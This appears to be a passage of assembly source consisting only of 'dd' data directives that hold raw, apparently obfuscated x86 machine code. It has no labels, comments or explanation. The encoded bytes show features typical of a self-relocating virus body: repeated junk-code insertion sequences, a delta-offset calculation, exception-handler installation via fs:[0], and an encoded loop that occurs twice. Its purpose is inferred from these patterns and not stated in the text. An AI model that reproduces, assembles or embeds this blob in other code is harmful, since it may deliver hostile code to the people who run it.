		dd 8BF0DEBCh, 2C09CDBDh, 6A5B6106h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0BF82E93Eh
		dd 856B9468h, 12880F78h, 0F000000h, 0C8Eh, 6E800h, 0C5540000h
		dd 53D47DBAh, 2434815Fh, 789A686Bh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 1BC35242h, 1A66194Dh, 0AD9D2BDEh
		dd 0F062C0Bh, 95FFFBBFh, 62C3465h, 15D59D2Bh, 8589062Ch
		dd 62FB020h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	0EAC35242h, 0CB805A78h,	41BD8B93h, 0E9062C12h
		dd 1ADh, 0B018858Bh, 6A062Fh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 3631B3C3h, 4A9ECFDCh
		dd 267D9D8Bh, 0C7062Ch,	18h, 1BC38166h,	1CB58B3Dh, 6A062FB0h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 86DCC356h, 858B33B2h, 62C0C55h, 6A0689h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 28EBD9C3h, 64BF174h,	89B57CB1h, 2C2C39B5h, 0F1858B06h
		dd 6A062C1Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0AD98C357h, 0DAD7838Dh, 446897Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 11C35242h
		dd 119BE1BAh, 2439BD89h, 5096062Ch, 4AA2BB66h, 51006A96h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 8F3C3CDBh, 905C7BD9h, 9E9D7h, 1DE10000h, 47D2C6A4h
		dd 0FF00DDCBh, 2FB018B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 3EE7BD44h
		dd 29718D89h, 3868062Ch, 609CE3F6h, 0EE85250h, 8D000000h
		dd 985FFAC7h, 0BADA3444h, 0F08DC89Ch, 310F5B34h, 19BDBA66h
		dd 21BF585Ah, 6121BC67h, 0C7240481h, 8D633B0Dh,	2FB02085h
		dd 7CEF8106h, 9020FFC9h, 685E80BFh, 8B665005h, 0BD8B90DAh
		dd 62C0F59h, 346595FFh,	0EE9062Ch, 6D000000h, 0C82265DBh
		dd 0B7AC843h, 2EA59428h, 6A61FBh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 793565C3h, 12D9D89h
		dd 0EB81062Ch, 150ACA63h, 29C185C7h, 3062Ch, 0AE90000h
		dd 3F000000h, 0B6A91539h, 8953158Bh, 20BD83E0h,	62FB0h
		dd 2D840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 190424h, 52420000h, 9637C1C3h, 0F9AB63EDh, 21E9h, 75BD8900h
		dd 50062C16h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 8D0FC08Bh,	8, 0E1958952h, 5F062C06h, 0B1DBD8Bh
		dd 0BD83062Ch, 62C29C1h, 0DE850F03h, 0BB000003h, 65DF71E1h
		dd 0B020BD83h, 0F00062Fh, 3CC84h, 88E0F00h, 0F000000h
		dd 286h, 0FF616000h, 2FB020B5h,	18820F06h, 0E9000000h
		dd 13h,	30C15CDAh, 0A281B6EFh, 3B28D89Bh, 3F909495h, 66E086AAh
		dd 95FFF98Bh, 62C19C9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0F8C35646h, 23AC8D2Ch, 840FEAC3h, 6
		dd 5DD9D89h, 9D8B062Ch,	62C29EDh, 0B014B58Bh, 0C8BB062Fh
		dd 0C7042CE2h
		dd 1000106h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 9D894619h, 62C24D1h, 0D5D9D8Bh, 6050062Ch
		dd 5880Fh, 1FBB0000h, 6030770Bh, 3FEBBF66h, 34896161h
		dd 0D98D8924h, 66062C15h, 0FF123EBFh, 2FB020B5h, 16D38106h
		dd 0FF23B64Fh, 2C08BD95h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 9D8B0871h
		dd 62C061Dh, 0BE9h, 1901D100h, 0F14D03A2h, 0EE9D9042h
		dd 0BADBD8Bh, 0B58B062Ch, 62FB014h, 619D8B53h, 5F062C05h
		dd 23B1858Bh, 6A062Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 8A1B82C3h, 97FE3946h, 33124506h
		dd 2C199D9Dh, 0C4868906h, 8B000000h, 2C2BA595h,	83D98B06h
		dd 0EB8004C2h, 205089E7h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0FAC35242h, 0BD3D1C7Eh, 8950E666h, 2C0F5995h
		dd 858D5F06h, 62FC564h,	895FF951h, 0B886h, 19D8B00h, 6A062C10h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0F74B9000h, 8BCB27A6h, 20B5FFDEh, 8B062FB0h
		dd 12BF66DEh, 8995FFFCh, 8B062C05h, 2C13BDBDh, 0E9609606h
		dd 0Ch,	0B032B335h, 53F4E938h, 4C933B7Eh, 0A3BD33BBh, 66506146h
		dd 966959BFh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Bh,	0ACC35545h, 568778FDh, 0E92E9756h, 7, 183D1932h
		dd 0E9CCC160h, 11h, 5AEFA424h, 79798034h, 63796A90h, 0AE77BAD7h
		dd 52BA60A4h, 234A266Eh, 2C29ED9Dh, 0B5FF6106h,	62FB020h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 5C35343h
		dd 80FF808Ah, 88386EBFh, 0FFF88B07h, 2C11D995h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0F2F2E701h, 7888522Fh, 665085E8h, 0BC2ECF81h, 0B5BD835Bh
		dd 62C07h, 15840Fh, 66600000h, 8B1D25BBh, 8B9661C2h, 0DE8A50D9h
		dd 0CD8D8996h, 0FF062C09h, 2FB020B5h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 2995FFE1h, 0FF062C15h, 2FB020B5h, 0CE906h, 0FA360000h
		dd 4C49BE58h, 45EE2180h, 0EE8A94Ah, 0F5000000h,	5475DF2Fh
		dd 0FEDB1059h, 0CF0EC2C1h, 2DBD2910h, 5F062C0Dh, 47995FFh
		dd 9D8B062Ch, 62C0BBDh,	1535BD83h, 0F02062Ch, 6F84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 5B49178Eh, 94063450h, 599D890Bh, 8B062C16h, 2C018985h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0E4A66252h, 24218D89h, 7E8062Ch,	9C000000h
		dd 0BC9634E0h, 8589C918h, 62C0B29h, 0C65Bh, 0C030BB66h
		dd 166185C7h, 62Ch, 810F0000h, 1, 0F472E9FCh, 6AFFFFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0B7E8BAC3h, 1891BD8Bh, 0C18B062Ch, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 90C35040h, 0BD2B94F3h, 62C28FDh
		dd 8DDABF0Fh, 2C32A585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 5E98Dh, 52910000h, 50A1D80Ah
		dd 89F98B66h, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 1FD7EEC3h, 8B9530E7h, 2C2D7DBDh
		dd 89006A06h, 2C0AB585h, 0E8006A06h, 11h, 9C6B8B1Ch, 4477D0CBh
		dd 76A614B5h, 9DB26053h, 0BF665B48h, 858DE1D7h,	630FF7Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 21C35545h
		dd 7BD6F5C6h, 0C0838C93h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 3C22D199h
		dd 28D381B5h, 9039BE2Ah, 0D98B6650h, 0F88A5790h, 6A006A5Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 6A5BC352h, 3F11C92h, 0B70F8A6Ah, 6A006AD9h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0EB03C355h, 1E12F53Ah, 539A7A81h,	6D8589h
		dd 0FF5F062Ch, 2C239D95h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 830FC822h
		dd 0
		dd 2D999589h, 0FE9062Ch, 0A0000000h, 0DC86DEDAh, 91A8CCFFh
		dd 0CCFB333Ah, 8D8D7C64h, 62FA042h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 9C35040h, 0F018ED9Dh, 0B1B3A269h
		dd 880FD1FFh, 4, 5F616056h, 9A1BD83h, 0F01062Ch, 0C685h
		dd 0FE900h, 0C7FC0000h,	54F633h, 8BAAA216h, 7F5FB749h
		dd 6A026A58h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 71D6C350h, 5372D7CBh, 89C38166h
		dd 11E9503Dh, 84000000h, 2723B063h, 762D75FEh, 0BBB57C8h
		dd 496E3B0Bh, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0DBDFC355h,	0AF9BA7CFh
		dd 0BE8F6D2h, 0C7000000h, 0B054E63Dh, 91E2D64Ah, 0C381E84Ch
		dd 37D765F3h, 8995FF5Fh, 6A062C05h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F98AC355h
		dd 52DD3D7Ch, 9E95Eh, 0F1760000h, 0AB425A55h, 0E98DA412h
		dd 0CB7h, 0E8h,	0ED815D00h, 630FF87h, 2C4ABB66h, 0EF816651h
		dd 665F62A3h, 858DDA8Bh, 62F9AD3h, 0B85CDF81h, 66902CDCh
		dd 9050D98Bh, 805BD89h,	0FF64062Ch, 35h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 4F11766h, 25896464h,	0
		dd 68E0Fh, 9D010000h, 62C1C39h,	1A6985FFh, 9D89062Ch, 62C0EE5h
		dd 0BB66FF6Ah, 0B5FFDB9Bh, 62C1A0Dh, 0CE8h, 0AE749F00h
		dd 0B885454Bh, 874B80D6h, 6E8F3h, 0B3E90000h, 28E8A526h
		dd 5FDF8B66h, 3D85095Bh, 0FF062C08h, 2C04C595h,	14DE906h
		dd 4B70000h, 9D8B00B0h,	62C23F9h, 858970E6h, 62C1EA1h
		dd 0CFE38166h, 8B71E496h, 2C18E99Dh, 0F613C06h,	12683h
		dd 14E800h, 9B000000h, 0EE3E6466h, 0A2216CC4h, 75C4BDFBh
		dd 3CFCA92Bh, 0B5897ECFh, 62C0551h, 0C8B60F5Fh,	0FE8h
		dd 72A2F00h, 0CD6D934Ah, 0BC68A25Ch, 1D3D3CEAh,	1CD99531h
		dd 0BA5F062Ch, 6, 12E960h, 1B820000h, 0FE39468Ah, 12450697h
		dd 6779F64Eh, 9E3E140Dh, 4CF28166h, 0C18B611Dh,	91CB8166h
		dd 4E8C13Fh, 876DBB66h,	56E2F766h, 29CB8166h, 0C82B5B6Ch
		dd 1E919589h, 0D18B062Ch, 6E9h,	0BFFCF200h, 0E92026B4h
		dd 93h,	0D616D381h, 858B553Fh, 5F4C4C44h, 8907C083h, 2C1E598Dh
		dd 0D1BD2906h, 83062C13h, 9D0100C0h, 62C00F1h, 830FD03Bh
		dd 10h,	190D9589h, 5CE9062Ch, 66000000h, 3C03F381h, 0FFFF8D8Bh
		dd 9D8BFFFFh, 62C129Dh,	0F01E183h, 4284h, 0CE900h, 9F200000h
		dd 5A181787h, 0FF0CE77h, 0A583DC1Ch, 0FFFFFFFFh, 14840FFEh
		dd 0E9000000h, 0Fh, 9D78C379h, 0CC71D186h, 8F289C1Ah, 894A8475h
		dd 4C4C4495h, 0C381665Fh, 0E9A8C1h, 8D000000h, 307BEFB5h
		dd 0E5850906h, 6A062C24h, 66F86000h, 9075DB81h,	0B195FF61h
		dd 6A062C26h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 7628C353h, 1B18D89h, 0A0B9062Ch
		dd 6A000010h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0BF64C351h, 0E183926Ch, 0CE8FCh
		dd 0F0570000h, 300A3A7Eh, 8F0E823Eh, 0FC5B7A7Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0E2C35343h, 0D1DC80B1h
		dd 0F98B248Fh, 310D9D23h, 9D89062Ch, 62C1DBDh, 0B8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0BA6Ah, 81660000h, 0AD3AE9C7h, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0C164C355h, 8501A4E8h,	62C312Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0B3C35747h
		dd 25C2DABh, 0B1E75626h, 5FF88A53h, 880Dh, 0A5958B00h
		dd 53062C2Bh, 38A0Fh, 0E7800000h, 8D8B5FE7h, 62C12D9h
		dd 6499D8Bh, 8B50062Ch,	3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Bh,	36C35040h, 1D5DE1A4h, 6A075A08h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 8633C353h
		dd 95895C1Fh, 62C2A59h,	2071BD83h, 0F00062Ch, 1F84h, 719D8B00h
		dd 0B8062C0Ch, 0
		dd 230DBD8Bh, 8D8D062Ch, 62C4F51h, 22819D8Bh, 0E1FF062Ch
		dd 29C1BD83h, 0F00062Ch, 40984h, 83FCF900h, 2C29C1BDh
		dd 840F0106h, 415h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 6AC35141h, 6BAA8282h,	36FE0DDh, 2C10D1BDh
		dd 0C1BD8306h, 3062C29h, 3A9860Fh, 95290000h, 62C192Dh
		dd 51006A60h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 56BD06BFh, 0F51B589h, 315F062Ch,	2C0F518Dh
		dd 0D98C6606h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0D5C35040h, 0CF6A967Ah,	2971B589h, 0E180062Ch
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 273F43CDh, 0FCAABDAh, 8166FAB7h,	0BF6248EBh
		dd 8814A10h, 840FC90Ah,	0F3h, 858BF98Bh, 62C1DF1h, 0B318533h
		dd 8166062Ch, 8B3A58F3h, 2C256D9Dh, 870F5006h, 0Dh, 8E0F60h
		dd 0BE000000h, 0ED13829h, 24048961h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 61C35141h, 0F5840EC9h, 0BD89E1BCh
		dd 62C0601h, 5FFE8A52h,	0DD8A006Ah, 2DE3DB81h, 3E6822CEh
		dd 0B7C7609Ch, 2404816Ch, 38BE67C1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0B1C35545h,	0C55D590Bh, 0BE829h
		dd 0D4DB0000h, 0A6E9FA21h, 0F781E5F1h, 3D9D8B0Ch, 5B062C1Bh
		dd 33F59D8Bh, 95FF062Ch, 62C3465h, 62EF8166h, 2085894Eh
		dd 6A062FB0h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 4FDDC355h, 1ED4123Bh, 66BC19D3h
		dd 669CDB81h, 1A7E9h, 8BE2B300h, 2FB01885h, 0C3816606h
		dd 0C7AC00h, 18h, 78D8589h, 0B58B062Ch,	62FB01Ch, 8BF98B66h
		dd 2C0C5585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0BF0FF68Eh, 6A0689DBh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 5736C355h, 99BB66E9h, 0F1858BE7h, 29062C1Dh,	2C05B58Dh
		dd 4468906h, 965FF952h,	0AE8h, 44C96700h, 0EE92FC97h, 507BBD70h
		dd 0FDE8B52h, 5A5B5231h, 96505B58h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0BBC35747h,	0FACEA1FEh, 0B5898F80h
		dd 62C2449h, 0B018B5FFh, 8B66062Fh, 0ECD268D8h,	0E86079A4h
		dd 14h,	0A6CE15ACh, 0E84DD8h, 16E60F5Ah, 0F1DE1F38h, 4119EE0Dh
		dd 665F5A56h, 61F238BBh, 2D243481h, 6A79BBEFh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0FB8C357h, 0E9AE2B54h, 12h, 6B57B86Ch, 81DEEF68h, 4BE5033Ah
		dd 5661F1EAh, 858DB678h, 62FB020h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 93C35747h, 0F883E061h, 0FC82940Fh
		dd 24048950h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	0DFC35141h, 0CDDF8166h,	6595FF34h, 6A062C34h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 3A32C356h, 2AAFC356h, 81B52961h, 0C7062C1Ch,	2C29C185h
		dd 306h, 6E900h, 0C65A0000h, 0F95F61B8h, 0B020BD83h, 0F00062Fh
		dd 5284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 537A4070h, 2D219D8Bh, 43E9062Ch
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0AAEDC355h, 0DB86672Ch, 38EBC944h
		dd 50DE8B66h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0BAACAEC3h, 804892FEh, 0FC5C51CDh
		dd 83DABF0Fh, 2C29C1BDh, 850F0306h, 40Eh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 15h, 0BC35545h, 20BD830Fh
		dd 62FB0h, 3E4840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0E89AD3C3h, 0D95B4097h
		dd 666423FFh, 80F3A7BFh, 0B5FF37CFh, 62FB020h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 31C35141h, 10A357Ch
		dd 319D799Ch, 2C00599Dh, 0C995FF06h, 6A062C19h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 9875C355h, 0C71FF75Ah, 2740F37Ch, 6890F60h, 31000000h
		dd 2C09C995h, 1860F06h,	0F9000000h, 14B58B61h, 9062FB0h
		dd 2C08758Dh, 198C0F06h, 0E8000000h, 11h, 0E40604ABh, 0A39AA88h
		dd 2DB9E47Dh, 0D807A8B2h, 5FF98BF4h, 106C7h, 66500001h
		dd 89B65EBFh, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 68FE50C3h, 6DBD8B08h, 0E9062C1Fh
		dd 5, 0E2F3E87h, 20B5FF12h, 89062FB0h, 2C1DC985h, 0BD95FF06h
		dd 6A062C08h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0D3AAC351h, 4454AA65h,	664EDAB0h
		dd 0B58BDF8Bh, 62FB014h, 8BF8B70Fh, 2C23B185h, 0B59D8B06h
		dd 89062C1Ch, 0C486h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0CB925BBh, 958BE4B7h
		dd 62C2BA5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	48C35545h, 0BD0150D6h, 62C0021h, 6A04C283h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 2AD2C357h, 499D8Bh, 5089062Ch, 55006A20h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0A39E46A9h
		dd 2E2DFDABh, 0C564858Dh, 89FC062Fh, 0B886h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 665BA2C1h, 6AF88Bh, 1015B589h, 0B5FF062Ch, 62FB020h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 46C35343h
		dd 616078D0h, 46D78137h, 0FF300B50h, 2C058995h,	0F1BD8B06h
		dd 96062C22h, 513FBB66h, 30BB6650h, 6A96E6h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0E43BA9C3h
		dd 62982D6Fh, 680ABF66h, 66FBBF0Fh, 0B5FFDA8Bh,	62FB020h
		dd 68C0Fh, 95010000h, 62C30DDh,	11D995FFh, 0DF81062Ch
		dd 54C61D5Ch, 7B5BD83h,	0F00062Ch, 5884h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 0AD5B68Bh, 5296A2A1h, 505FFE8Bh, 7E9h, 0D1A4A600h, 16B27B07h
		dd 51006A96h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 89C649E8h, 2C2A2D95h, 20B5FF06h,	0FF062FB0h
		dd 2C152995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h
		dd 86C28915h, 0B70147C8h, 0B020B5FFh, 0BD8B062Fh, 62C0D95h
		dd 47995FFh, 0F60062Ch,	28Ah, 8905B200h, 2C311985h, 0BD836106h
		dd 62C1535h, 62840F02h,	8B000000h, 2C22BD9Dh, 89858B06h
		dd 6A062C01h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0B099C356h, 148C0459h,	0F88B277Fh
		dd 8B0000C6h, 2C24B5BDh, 0EE806h, 3C1D0000h, 1324D99Eh
		dd 0DDC97E71h, 46E8E306h, 0FE9h, 1BC1500h, 0ACAA6D5Eh
		dd 0F5FCB0B6h, 0C8A86DC4h, 6185C75Fh, 62C16h, 66000000h
		dd 9E9FB8Bh, 6AFFFFF4h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 906C357h, 99CB7383h
		dd 20B6EF81h, 0C18B0585h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 60C35747h, 8DDE1096h,	2C32A585h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 70C66232h, 0D99BD29h, 0E950062Ch, 0Ch, 0C4AD99E0h, 6EE27565h
		dd 0DF157FD2h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0F0CCC353h,	1625165Dh
		dd 15C38166h, 8B006A85h, 2C107DBDh, 0BB006A06h,	5A810E7Ch
		dd 0E31858Dh, 0BD230631h, 62C1CD9h, 0F05C083h, 281h, 50F98B00h
		dd 822FBE60h, 0E8501F49h, 12h, 1568015Eh, 80E47E12h, 0E9172E49h
		dd 0C302D359h, 5A5B97BBh, 24048961h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 37C35040h, 14E844h,	81E90000h
		dd 0CDC85C13h, 0DD275809h, 8B90C004h, 4CD3E35Fh, 9D232F12h
		dd 62C24B9h, 6A006A5Fh,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 5431C351h, 0C226F6E5h
		dd 9DB331BFh, 22EB8028h, 0B70F006Ah, 458D29FFh,	0FF062C0Bh
		dd 2C239D95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0BF66AE75h, 8D8DC915h, 62FA042h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 6CC35646h
		dd 0A5125249h, 6D7A721Ch, 2149BD89h, 5756062Ch,	0D1FF5B5Fh
		dd 8CC0BF66h, 9A1BD83h,	0F01062Ch, 6685h, 358D8900h, 66062C0Ah
		dd 0E4F7EB81h, 0EFBF026Ah, 9053D587h, 6E8h, 20F7F500h
		dd 8B29FD8Fh, 90505BF8h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 9CC35646h, 231D01EDh,	2C2909BDh, 719D8906h
		dd 0FF062C0Dh, 2C058995h, 29953106h, 0E9062C06h, 7, 0A5ED581Fh
		dd 0E917FF6Dh, 0D86h, 0E8h, 0ED815D00h,	6310E3Bh, 68D0Fh
		dd 9D890000h, 62C0B45h,	9AD3858Dh, 6A062Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0F90AEC3h
		dd 81h,	0BE95000h, 4D000000h, 337E1B96h, 9AB39DFFh, 6A90ABC8h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0BB70C351h, 811C0242h, 0F99AF8C8h, 35FF64h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0E7EC352h, 0AD8D89F3h,	64062C00h
		dd 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0ED015DC3h, 29D72894h, 0FFA530D7h
		dd 2C1A6985h, 1870F06h,	0F8000000h, 0FFF9FF6Ah,	2C3101B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 63B0236Bh, 0A8AC643Ch, 659D8BF1h, 0FF062C16h
		dd 2C04C595h, 13EE906h,	95890000h, 62C0799h, 12E900B0h
		dd 0AC000000h, 50E0D863h, 0A9E6E883h, 57F987A1h, 67AD7AB2h
		dd 0E970E621h, 0Ch, 440C9EB9h, 0F5F839A8h, 5EE56CC8h, 0BF0F71E4h
		dd 0F613CFFh, 0FF83h, 0D7816600h, 0B60F3C86h, 40F780C8h
		dd 6BAh, 10E900h, 80C90000h, 1EC87784h,	5C71C17Fh, 282B0EA6h
		dd 0C18BE9B4h, 33858509h, 8C0F062Ch, 6,	2C919D2Bh, 0E8C1062Ch
		dd 0E2F76604h, 0F98B6657h, 0FC82B5Fh, 0D18BDFB7h, 0D498529h
		dd 0A9E9062Ch, 89000000h, 2C09FD8Dh, 50858B06h,	6647554Ch
		dd 83BB47BBh, 0DF8107C0h, 4C54D0E9h, 900C083h, 2C00A985h
		dd 0FD03B06h, 1883h, 6894BB00h,	15024F8h, 2C120995h, 6DE95B06h
		dd 89000000h, 2C20AD9Dh, 0FF8D8B06h, 0E9FFFFFFh, 0Bh, 4CC1B6Ch
		dd 0F642E7D1h, 83B100E5h, 840F01E1h, 48h, 14E8h, 96CB4A00h
		dd 0F54A1919h, 0D91B47A2h, 0EAC77D3Fh, 66021C15h, 8404BF3Dh
		dd 835B6D91h, 0FFFFFFA5h, 0BD8BFEFFh, 62C2919h,	4C509589h
		dd 0CE94755h, 0E6000000h, 1C4E783Eh, 2B2F81EDh,	0E90084FBh
		dd 0
		dd 8C8FB58Dh, 0BD8B0630h, 62C18C1h, 8D89006Ah, 62C04A9h
		dd 0B8CF8166h, 0B195FF0Bh, 6A062C26h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0FBABC353h
		dd 56255604h, 2054D624h, 0FD6B9h, 51DA8B00h, 0F7816656h
		dd 5B5B711Ch, 31FCE183h, 2C0D2D85h, 6AFC06h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0E85A47C3h
		dd 0Eh,	3B2063F4h, 745EF6EDh, 236FBA1Fh, 0BD03E414h, 62C0EA1h
		dd 65BD8B5Bh, 2B062C0Ah, 0D9BD8BC0h, 2B062C14h,	0C233ADD2h
